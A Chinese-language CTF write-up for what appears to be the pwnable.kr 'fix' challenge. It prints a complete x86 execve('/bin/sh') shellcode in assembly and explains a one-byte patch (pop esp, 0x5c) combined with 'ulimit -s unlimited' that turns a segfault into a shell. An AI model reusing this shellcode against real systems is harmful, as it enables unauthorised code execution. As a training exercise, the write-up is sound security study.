调试shellcode的过程中能发现,执行到一半时指令地址和栈顶的位置已经很接近了:
这也是段错误的原因,
push ebx
之后的指令和栈重叠导致错误的出现,需要将esp的位置挪到离指令相当远的位置。将shellcode反汇编:int 0x80
是linux x86架构的中断指令,为此需要了解这一段shellcode有哪些部分是必要的,参考https://blog.csdn.net/weixin_43363675/article/details/117944212和https://resources.infosecinstitute.com/topic/shellcode-analysis-on-linux-x86-32bit/可知,shellcode的参数和execve调用应为:
eax = 0x0b
ebx指向"/bin/sh"
ecx = 0x0
edx = 0x0
execve("/bin/sh", 0, 0);
ecx和edx分别指向命令的参数和环境变量,这段shellcode的作用为:
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f ; push "/bin//sh\x00.." to stack
mov ebx, esp ; make ebx point to "/bin//sh\x00.."
push eax
push ebx
mov ecx, esp ; make ecx point to ebx
mov al, 0xb ; eax = 0xb
int 0x80
; actually, ecx and edx have no impact on shellcode most time.
fix.c限制了能改写的shellcode只有一字节,这段shellcode一字节的指令只有3条push指令。执行到push ebx
之后会与栈重叠,我尝试改了这一字节后运行仍然会导致段错误,而第一个push eax
用于截断"/bin//sh"也不能更改,所以只有15行的push eax
可以更改且对shellcode影响最小。
一字节最快的改变esp的方式只有pop esp
,运行到这里的栈顶为"/bin//sh"字符串,虽然可以作为地址但不符合栈的取值范围,需要用ulimit
指令去除栈的地址范围限制:
ulimit -s unlimited
pwnable.kr其他题也用了这一技巧,和ctf的pwn题还是有很多差异的。
汇编
pop esp
指令后直接把index为15的位置改为92(0x5c)即可getshell。